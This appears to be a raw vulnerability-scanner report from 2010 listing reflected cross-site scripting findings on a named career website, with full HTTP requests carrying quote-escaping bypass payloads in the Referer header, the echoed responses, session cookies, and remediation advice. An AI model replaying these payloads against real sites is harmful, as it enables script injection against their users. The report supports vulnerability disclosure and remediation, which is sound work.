GET /JobSeeker/Jobs/JobResults.aspx HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=114ab\'%3balert(1)//117bf833582
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 186387 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: jobresults.aspx:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR37 Date: Sun, 14 Nov 2010 23:28:24 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Job Se ...[SNIP]... ='Job Results'; s_cb.eVar5='JS_AS_Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14=', '; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 114ab\\';alert(1)//117bf833582'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 56918\'%3balert(1)//e3aa076828a was submitted in the Referer HTTP header. This input was echoed as 56918\\';alert(1)//e3aa076828a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida/?lr=cbcb_mhf48aa HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=56918\'%3balert(1)//e3aa076828a
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 179849 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR44 Date: Sun, 14 Nov 2010 23:17:18 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Florid ...[SNIP]... lts'; s_cb.eVar5='JS_AS_State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14=', FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 56918\\';alert(1)//e3aa076828a'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6309b\'%3balert(1)//59d7ac59f1b was submitted in the Referer HTTP header. This input was echoed as 6309b\\';alert(1)//59d7ac59f1b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida/ HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=6309b\'%3balert(1)//59d7ac59f1b
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 180061 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR28 Date: Sun, 14 Nov 2010 23:00:40 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Florid ...[SNIP]... lts'; s_cb.eVar5='JS_AS_State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14=', FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 6309b\\';alert(1)//59d7ac59f1b'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 64d8c\'%3balert(1)//f4ef47d3f32 was submitted in the Referer HTTP header. This input was echoed as 64d8c\\';alert(1)//f4ef47d3f32 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami?lr=cbcb_mhf48aa HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=64d8c\'%3balert(1)//f4ef47d3f32
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 176040 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR4 Date: Sun, 14 Nov 2010 23:12:28 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 64d8c\\';alert(1)//f4ef47d3f32'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f480a\'%3balert(1)//b802c5c94bd was submitted in the Referer HTTP header. This input was echoed as f480a\\';alert(1)//b802c5c94bd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=f480a\'%3balert(1)//b802c5c94bd
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 176225 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR41 Date: Sun, 14 Nov 2010 23:00:12 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - f480a\\';alert(1)//b802c5c94bd'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9545f\'%3balert(1)//6cfbcaa7226 was submitted in the Referer HTTP header. This input was echoed as 9545f\\';alert(1)//6cfbcaa7226 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami/?lr=cbcb_mh&SiteID=cbcb_mh031 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=9545f\'%3balert(1)//6cfbcaa7226
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 176553 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=cbcb0fadca3b47c1a9569e6e471e16f6-343070704-RF-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650561189DB47D6ABB196DB4CB014BD6697662C7951FB969626D18C76975F0BABBE1A91E862CEC15D12; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:25:03 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:40:03 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL15 Date: Sun, 14 Nov 2010 22:25:03 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 9545f\\';alert(1)//6cfbcaa7226'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 45845\'%3balert(1)//4dd1c60a594 was submitted in the Referer HTTP header. This input was echoed as 45845\\';alert(1)//4dd1c60a594 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami/ HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=45845\'%3balert(1)//4dd1c60a594
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 176514 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=29994ae3a58f499198496a89a94deeb1-343070587-R3-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650E3907A73E359AD0C717375E6A181228710E52CC9569A7C897CB7D71421C75C1B4E5777777724DBD7; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:23:06 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:38:07 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL3 Date: Sun, 14 Nov 2010 22:23:06 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 45845\\';alert(1)//4dd1c60a594'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 480ef\'%3balert(1)//4797d19bb95 was submitted in the Referer HTTP header. This input was echoed as 480ef\\';alert(1)//4797d19bb95 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami/JobResults.aspx HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=480ef\'%3balert(1)//4797d19bb95
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: private Content-Length: 42228 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" X-Powered-By: ASP.NET X-PBY: BEAR28 Date: Sun, 14 Nov 2010 22:56:12 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> 404 Fi ...[SNIP]... Name='accounting.careerbuilder.com/404.aspx'; s_cb.server='accounting'; s_cb.eVar11='NotRegistered'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 480ef\\';alert(1)//4797d19bb95'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1da0c\'%3balert(1)//d1efdea3b87 was submitted in the Referer HTTP header. This input was echoed as 1da0c\\';alert(1)//d1efdea3b87 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_Accounting.htm?IPath=OCP&lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5&ff=21 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=1da0c\'%3balert(1)//d1efdea3b87
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174866 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_accounting.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR43 Date: Sun, 14 Nov 2010 23:16:56 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 1da0c\\';alert(1)//d1efdea3b87'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c01d8\'%3balert(1)//66349a66c26 was submitted in the Referer HTTP header. This input was echoed as c01d8\\';alert(1)//66349a66c26 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_Accounting.htm HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=c01d8\'%3balert(1)//66349a66c26
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174676 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_accounting.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR19 Date: Sun, 14 Nov 2010 23:00:43 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - c01d8\\';alert(1)//66349a66c26'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ffdf8\'%3balert(1)//964dda6ef0c was submitted in the Referer HTTP header. This input was echoed as ffdf8\\';alert(1)//964dda6ef0c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
